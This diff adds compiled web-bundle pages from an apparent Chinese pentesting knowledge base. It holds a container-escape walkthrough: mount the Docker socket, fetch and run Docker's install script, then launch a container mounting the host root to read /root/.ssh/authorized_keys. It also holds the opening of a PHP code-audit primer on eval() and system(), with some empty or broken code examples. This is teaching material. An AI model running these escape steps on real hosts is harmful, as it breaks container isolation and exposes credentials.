b/en/assets/js/db9f8698.37ad6a2f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6225],{5273:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>d,default:()=>h,frontMatter:()=>o,metadata:()=>s,toc:()=>l});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/README","title":"\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/02.\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/02.\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/02.\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5185\u7f51\u6e17\u900f","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/"},"next":{"title":"k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/"}}');var r=n(74848),c=n(28453);const o={},d="\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5",i={},l=[{value:"\u5371\u9669\u6302\u8f7d",id:"\u5371\u9669\u6302\u8f7d",level:2},{value:"01. Docker socket",id:"01-docker-socket",level:2}];function a(e){const t={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,c.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5",children:"\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:32:47"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"\u5bb9\u5668\u9003\u9038",children:"\u5bb9\u5668\u9003\u9038"}),"\n",(0,r.jsx)(t.p,{children:"Docker\u5bb9\u5668\u4e0d\u540c\u4e8e\u865a\u62df\u673a\uff0c\u5b83\u4e0e\u5bbf\u4e3b\u673a\u64cd\u4f5c\u7cfb\u7edf\u5171\u4eab\u5185\u6838\u3002\u5bbf\u4e3b\u673a\u548c\u5bb9\u5668\u4e4b\u95f4\u901a\u8fc7\u5185\u6838\u547d\u540d\u7a7a\u95f4\uff08namespaces\uff09\u3001\u5185\u6838Capabilities\u3001CGroups\uff08control groups\uff09\u7b49\u6280\u672f\u8fdb\u884c\u9694\u79bb\uff1b\u4f46\u662f\u8bb8\u591a\u5371\u9669\u64cd\u4f5c\u6216\u8005\u6f0f\u6d1e\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u4ece\u5bb9\u5668\u91cc\u8fb9\u9003\u9038\u5230\u5bbf\u4e3b\u673a\u4e0a\uff0c\u5e38\u7528\u7684\u9003\u9038\u624b\u6cd5\u5305\u542b\u56db\u7c7b\uff1a\u5371\u9669\u914d\u7f6e\u3001\u5371\u9669\u6302\u8f7d\u3001\u7ec4\u4ef6\u6f0f\u6d1e\u3001\u5185\u6838\u6f0f\u6d1e\u3002"}),"\n",(0,r.jsx)(t.h2,{id:"\u5371\u9669\u6302\u8f7d",children:"\u5371\u9669\u6302\u8f7d"}),"\n",(0,r.jsx)(t.h2,{id:"01-docker-socket",children:"01. Docker socket"}),"\n",(0,r.jsxs)(t.blockquote,{children:["\n",(0,r.jsx)(t.p,{children:"Docker Socket\u662fDocker\u5b88\u62a4\u8fdb\u7a0b\u76d1\u542c\u7684Unix\u57df\u5957\u63a5\u5b57\uff0c\u7528\u6765\u4e0e\u5b88\u62a4\u8fdb\u7a0b\u901a\u4fe1\u3002\u5982\u679c\u5c06Docker Socket\uff08/var/run/docker.sock\uff09\u6302\u8f7d\u5230\u5bb9\u5668\u5185\uff0c\u5219\u5728\u5bb9\u5668\u5185\u53ef\u4ee5\u63a7\u5236\u4e3b\u673a\u4e0a\u7684Docker\u521b\u5efa\u65b0\u7684\u6076\u610f\u5bb9\u5668\uff0c\u4ece\u800c\u5b9e\u73b0\u9003\u9038"}),"\n"]}),"\n",(0,r.jsxs)(t.p,{children:[(0,r.jsx)(t.code,{children:"docker.sock"}),"\u8fd9\u4e2a\u6587\u4ef6\u88ab\u6302\u8f7d\u5230",(0,r.jsx)(t.code,{children:"\u5bb9\u56681"}),"\u4e2d\uff0c\u53ef\u4ee5\u901a\u8fc7",(0,r.jsx)(t.code,{children:"\u5bb9\u56681"}),"\u4e2d\u64cd\u4f5c\u5bbf\u4e3b\u673a\u91cd\u65b0\u542f\u52a8\u4e00\u4e2adocker",(0,r.jsx)(t.code,{children:"\u5bb9\u56682"}),"\u5e76\u5c06 ",(0,r.jsx)(t.code,{children:"/"})," \u6587\u4ef6\u6302\u8f7d\u5230l\uff0c\u5728",(0,r.jsx)(t.code,{children:"\u5bb9\u56682"})," \u4e2d\u64cd\u4f5c"]}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-sh",children:"docker run --rm -it -v /run/docker.sock:/run/docker.sock ubuntu:20.04 /bin/bash\n"})}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-docker",children:'apt-get update\napt-get install -y curl && bash -c "$(curl -fsSL https://get.docker.com/)" && \\\ndocker -H unix:///docker.sock run --rm -it -v /:/hosts ubuntu cat /hosts/root/.ssh/authorized_keys\n'})}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.img,{alt:"image-20231016225823326",src:n(50221).A+"",width:"960",height:"618"})})]})}function h(e={}){const{wrapper:t}={...(0,c.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>d});var s=n(96540);const r={},c=s.createContext(r);function o(e){const t=s.useContext(c);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function d(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),s.createElement(c.Provider,{value:t},e.children)}},50221:(e,t,n)=>{n.d(t,{A:()=>s});const s=n.p+"assets/images/image-20231016225823326-bf8cf3a81a075c91bc838c82e7d78993.png"}}]); \ No newline at end of file diff --git a/en/assets/js/dc7f3995.ac81d1e5.js b/en/assets/js/dc7f3995.ac81d1e5.js new file mode 100644 index 0000000..2a73705 --- /dev/null +++ b/en/assets/js/dc7f3995.ac81d1e5.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[489],{28453:(n,e,l)=>{l.d(e,{R:()=>i,x:()=>d});var s=l(96540);const r={},c=s.createContext(r);function i(n){const e=s.useContext(c);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:i(n.components),s.createElement(c.Provider,{value:e},n.children)}},94117:(n,e,l)=>{l.r(e),l.d(e,{assets:()=>a,contentTitle:()=>d,default:()=>p,frontMatter:()=>i,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","title":"PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/01.PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/01.PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"URLDNS","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS"},"next":{"title":"PHP\u4ee3\u7801\u5ba1\u8ba1","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1"}}');var r=l(74848),c=l(28453);const i={},d=void 0,a={},h=[{value:"\u4ee3\u7801\u6267\u884c",id:"\u4ee3\u7801\u6267\u884c",level:2},{value:"eval()",id:"eval",level:3},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c",level:4},{value:"assert()",id:"assert",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570",level:4},{value:"assert()\u914d\u7f6e",id:"assert\u914d\u7f6e",level:4},{value:"preg_replace()",id:"preg_replace",level:3},{value:"\u53c2\u6570\u8bf4\u660e\uff1a",id:"\u53c2\u6570\u8bf4\u660e",level:4},{value:"create_function()",id:"create_function",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-1",level:4},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c-1",level:4},{value:"array_map()",id:"array_map",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-2",level:4},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c-2",level:4},{value:"call_user_func()",id:"call_user_func",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-3",level:4},{value:"call_user_func_array()",id:"call_user_func_array",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-4",level:4},{value:"array_filter()",id:"array_filter",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-5",level:4},{value:"usort()",id:"usort",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-6",level:4},{value:"uasort()",id:"uasort",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-7",level:4},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:3},{value:"\u547d\u4ee4\u6267\u884c",id:"\u547d\u4ee4\u6267\u884c",level:2},{value:"system()",id:"system",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-8",level:4},{value:"exec()",id:"exec",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-9",level:4},{value:"shell_exec()",id:"shell_exec",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-10",level:4},{value:"passthru()",id:"passthru",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-11",level:4},{value:"pcntl_exec()",id:"pcntl_exec",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-12",level:4},{value:"popen()",id:"popen",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-13",level:4},{value:"proc_open()",id:"proc_open",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-14",level:4},{value:"\u6587\u4ef6\u5305\u542b",id:"\u6587\u4ef6\u5305\u542b",level:2},{value:"include()",id:"include",level:3},{value:"include_once()",id:"include_once",level:3},{value:"require()",id:"require",level:3},{value:"require_once()",id:"require_once",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3-1",level:3},{value:"\u6587\u4ef6\u8bfb\u53d6(\u4e0b\u8f7d)",id:"\u6587\u4ef6\u8bfb\u53d6\u4e0b\u8f7d",level:2},{value:"file_get_contents()",id:"file_get_contents",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-15",level:4},{value:"fopen()",id:"fopen",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-16",level:4},{value:"fread()",id:"fread",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-17",level:4},{value:"fgets()",id:"fgets",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-18",level:4},{value:"fgetss()",id:"fgetss",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-19",level:4},{value:"readfile()",id:"readfile",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-20",level:4},{value:"file()",id:"file",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-21",level:4},{value:"parse_ini_file()",id:"parse_ini_file",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-22",level:4},{value:"show_source()/highlight_file()",id:"show_sourcehighlight_file",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3-2",level:3},{value:"\u6587\u4ef6\u4e0a\u4f20",id:"\u6587\u4ef6\u4e0a\u4f20",level:2},{value:"move_uploaded_file()",id:"move_uploaded_file",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-23",level:4},{value:"\u6587\u4ef6\u5220\u9664",id:"\u6587\u4ef6\u5220\u9664",level:2},{value:"unlink()",id:"unlink",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-24",level:4},{value:"session_destroy()",id:"session_destroy",level:3},{value:"\u53d8\u91cf\u8986\u76d6",id:"\u53d8\u91cf\u8986\u76d6",level:2},{value:"extract()",id:"extract",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-25",level:4},{value:"parse_str()",id:"parse_str",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-26",level:4},{value:"\u53c2\u6570",id:"\u53c2\u6570-27",level:4},{value:"foreach()",id:"foreach",level:3},{value:"\u5f31\u7c7b\u578b\u6bd4\u8f83",id:"\u5f31\u7c7b\u578b\u6bd4\u8f83",level:2},{value:"md5()\u51fd\u6570\u548csha1()\u7ed5\u8fc7",id:"md5\u51fd\u6570\u548csha1\u7ed5\u8fc7",level:3},{value:"is_numeric()\u7ed5\u8fc7",id:"is_numeric\u7ed5\u8fc7",level:3},{value:"in_array()\u7ed5\u8fc7",id:"in_array\u7ed5\u8fc7",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-28",level:4},{value:"XSS",id:"xss",level:2},{value:"print()",id:"print",level:3},{value:"print_r()",id:"print_r",level:3},{value:"echo()",id:"echo",level:3},{value:"printf()",id:"printf",level:3},{value:"sprintf()",id:"sprintf",level:3},{value:"die()",id:"die",level:3},{value:"var_dump()",id:"var_dump",level:3},{value:"var_export()",id:"var_export",level:3},{value:"PHP\u9ed1\u9b54\u6cd5",id:"php\u9ed1\u9b54\u6cd5",level:2},{value:"md5()",id:"md5",level:3},{value:"eval()",id:"eval-1",level:3},{value:"ereg()",id:"ereg",level:3},{value:"strcmp()",id:"strcmp",level:3},{value:"curl_setopt()",id:"curl_setopt",level:3},{value:"preg_replace()",id:"preg_replace-1",level:3},{value:"urldecode()",id:"urldecode",level:3},{value:"file_get_contents()",id:"file_get_contents-1",level:3},{value:"parse_url()",id:"parse_url",level:3},{value:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",id:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",level:2},{value:"\u7b80\u4ecb",id:"\u7b80\u4ecb",level:3},{value:"__wakeup()",id:"__wakeup",level:3},{value:"__sleep()",id:"__sleep",level:3},{value:"__destruct()",id:"__destruct",level:3},{value:"__construct()",id:"__construct",level:3},{value:"__call()",id:"__call",level:3},{value:"__callStatic()",id:"__callstatic",level:3},{value:"__get()",id:"__get",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-29",level:4},{value:"__set()",id:"__set",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-30",level:4},{value:"__isset()",id:"__isset",level:3},{value:"__unset()",id:"__unset",level:3},{value:"toString()",id:"tostring",level:3},{value:"__invoke()",id:"__invoke",level:3},{value:"pop\u94fe\u7684\u6784\u9020",id:"pop\u94fe\u7684\u6784\u9020",level:3},{value:"\u601d\u8def",id:"\u601d\u8def",level:3},{value:"phar\u4e0e\u53cd\u5e8f\u5217\u5316",id:"phar\u4e0e\u53cd\u5e8f\u5217\u5316",level:3},{value:"\u7b80\u4ecb",id:"\u7b80\u4ecb-1",level:4},{value:"\u6587\u4ef6\u7ed3\u6784",id:"\u6587\u4ef6\u7ed3\u6784",level:4},{value:"\u5b9e\u9a8c",id:"\u5b9e\u9a8c",level:4},{value:"phar.php\uff1a",id:"pharphp",level:5},{value:"Ameng.php",id:"amengphp",level:5},{value:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3",id:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3",level:2},{value:"basename()",id:"basename",level:3},{value:"\u53c2\u6570",id:"\u53c2\u6570-31",level:4},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function t(n){const e={a:"a",code:"code",h2:"h2",h3:"h3",h4:"h4",h5:"h5",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-08-19 16:49:03"})]})})]}),"\n",(0,r.jsx)(e.p,{children:"\u672c\u6587\u7ae0\u4e3b\u8981\u662fPHP\u4ee3\u7801\u5ba1\u8ba1\u7684\u4e00\u4e9b\u57fa\u7840\u77e5\u8bc6\uff0c\u5305\u62ec\u51fd\u6570\u7684\u7528\u6cd5\uff0c\u6f0f\u6d1e\u70b9\uff0c\u504f\u5411\u57fa\u7840\u90e8\u5206\uff0c\u4e2a\u4eba\u80fd\u529b\u6709\u9650\uff0c\u90e8\u5206\u53ef\u80fd\u4f1a\u51fa\u73b0\u9519\u8bef\u6216\u8005\u9057\u6f0f\uff0c\u8bfb\u8005\u53ef\u81ea\u884c\u8865\u5145\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"\u4ee3\u7801\u6267\u884c",children:"\u4ee3\u7801\u6267\u884c"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u6267\u884c\u662f\u4ee3\u7801\u5ba1\u8ba1\u5f53\u4e2d\u8f83\u4e3a\u4e25\u91cd\u7684\u6f0f\u6d1e\uff0c\u4e3b\u8981\u662f\u4e00\u4e9b\u547d\u4ee4\u6267\u884c\u51fd\u6570\u7684\u4e0d\u9002\u5f53\u4f7f\u7528\u3002\u90a3\u4e48\uff0c\u5e38\u89c1\u7684\u80fd\u591f\u89e6\u53d1\u8fd9\u7c7b\u6f0f\u6d1e\u7684\u51fd\u6570\u6709\u54ea\u4e9b\u5462\uff1f"}),"\n",(0,r.jsx)(e.h3,{id:"eval",children:"eval()"}),"\n",(0,r.jsxs)(e.p,{children:["\u60f3\u5fc5\u5927\u5bb6\u5bf9",(0,r.jsx)(e.code,{children:"eval()"}),"\u51fd\u6570\u5e94\u8be5\u5e76\u4e0d\u964c\u751f\uff0c\u7b80\u800c\u8a00\u4e4b",(0,r.jsx)(e.code,{children:"eval()"}),"\u51fd\u6570\u5c31\u662f\u5c06\u4f20\u5165\u7684\u5b57\u7b26\u4e32\u5f53\u4f5c ",(0,r.jsx)(e.code,{children:"PHP"})," \u4ee3\u7801\u6765\u8fdb\u884c\u6267\u884c\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"eval( string $code) : mixed\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u8fd4\u56de\u503c",children:"\u8fd4\u56de\u503c"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"eval()"})," \u8fd4\u56de ",(0,r.jsx)(e.code,{children:"NULL"}),"\uff0c\u9664\u975e\u5728\u6267\u884c\u7684\u4ee3\u7801\u4e2d return\u4e86\u4e00\u4e2a\u503c\uff0c\u51fd\u6570\u8fd4\u56de\u4f20\u9012\u7ed9 return\u7684\u503c\u3002PHP7\u5f00\u59cb\uff0c\u6267\u884c\u7684\u4ee3\u7801\u91cc\u5982\u679c\u6709\u4e00\u4e2aparse error\uff0c",(0,r.jsx)(e.code,{children:"eval()"})," \u4f1a\u629b\u51fa ParseError \u5f02\u5e38\u3002\u5728 PHP 7 \u4e4b\u524d\uff0c\u5982\u679c\u5728\u6267\u884c\u7684\u4ee3\u7801\u4e2d\u6709 parse error\uff0c",(0,r.jsx)(e.code,{children:"eval()"})," \u8fd4\u56de",(0,r.jsx)(e.code,{children:"FALSE"}),"\uff0c\u4e4b\u540e\u7684\u4ee3\u7801\u5c06\u6b63\u5e38\u6267\u884c\u3002\u65e0\u6cd5\u4f7f\u7528",(0,r.jsx)(e.code,{children:"set_error_handler()"}),"\u6355\u83b7 ",(0,r.jsx)(e.code,{children:"eval()"})," \u4e2d\u7684\u89e3\u6790\u9519\u8bef\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4e5f\u5c31\u662f\u8bf4\uff0c\u6211\u4eec\u5728\u5229\u7528",(0,r.jsx)(e.code,{children:"eval()"}),"\u51fd\u6570\u7684\u65f6\u5019\uff0c\u5982\u679c\u6211\u4eec\u4f20\u5165\u7684\u5b57\u7b26\u4e32\u4e0d\u662f\u6b63\u5e38\u7684\u4ee3\u7801\u683c\u5f0f\uff0c\u90a3\u4e48\u5c31\u4f1a\u629b\u51fa\u5f02\u5e38\u3002\u6240\u4ee5PHP7\u548cPHP5\u5728\u8fd9\u90e8\u5206\u6700\u5927\u7684\u4e0d\u540c\u662f\u4ec0\u4e48\u5462\uff1f\u7b80\u800c\u8a00\u4e4b\uff0cPHP5\u5728\u4ee3\u7801\u9519\u8bef\u683c\u5f0f\u9519\u8bef\u4e4b\u540e\u4ecd\u4f1a\u6267\u884c\uff0c\u800cPHP7\u5728\u4ee3\u7801\u53d1\u751f\u9519\u8bef\u4e4b\u540e\uff0c\u90a3\u4e48",(0,r.jsx)(e.code,{children:"eval()"}),"\u51fd\u6570\u5c31\u4f1a\u629b\u51fa\u5f02\u5e38\uff0c\u800c\u4e0d\u6267\u884c\u4e4b\u540e\u7684\u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>This is a PHP```\n\n\n\u90a3\u4e48\u5982\u679c\u6211\u8981\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u5462\uff1f\u8fd9\u4e2a\u65f6\u5019\u5c31\u9700\u8981\u7528\u5230PHP\u4e2d\u7684`system`\u51fd\u6570\u3002\n\n```php\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>desktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u5230\u6b64\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u7ed3\u5408\u5176\u4ed6\u59ff\u52bf\u901a\u8fc7\u8fd9\u4e2a\u51fd\u6570\u5b9e\u73b0\u4efb\u610f\u4ee3\u7801\u6267\u884c\u4e86\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"assert",children:"assert()"}),"\n",(0,r.jsx)(e.p,{children:"PHP"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"assert( mixed $assertion[, string $description] ) : bool\n"})}),"\n",(0,r.jsx)(e.p,{children:"PHP"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"assert( mixed $assertion[, Throwable $exception] ) : bool\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"assertion"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u65ad\u8a00\u3002\u5728PHP 5 \u4e2d\uff0c\u662f\u4e00\u4e2a\u7528\u4e8e\u6267\u884c\u7684\u5b57\u7b26\u4e32\u6216\u8005\u7528\u4e8e\u6d4b\u8bd5\u7684\u5e03\u5c14\u503c\u3002\u5728PHP 7 \u4e2d\uff0c\u53ef\u4ee5\u662f\u4e00\u4e2a\u8fd4\u56de\u4efb\u4f55\u503c\u7684\u8868\u8fbe\u5f0f\uff0c\u5b83\u5c06\u88ab\u6267\u884c\u7ed3\u679c\u7528\u4e8e\u5224\u65ad\u65ad\u8a00\u662f\u5426\u6210\u529f\u3002"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"description"})}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5982\u679c",(0,r.jsx)(e.code,{children:"assertion"}),"\u5931\u8d25\u4e86\uff0c\u9009\u9879",(0,r.jsx)(e.code,{children:"description"}),"\u5c06\u4f1a\u5305\u542b\u5728\u5931\u8d25\u4fe1\u606f\u91cc\u3002"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"exception"})}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5728PHP 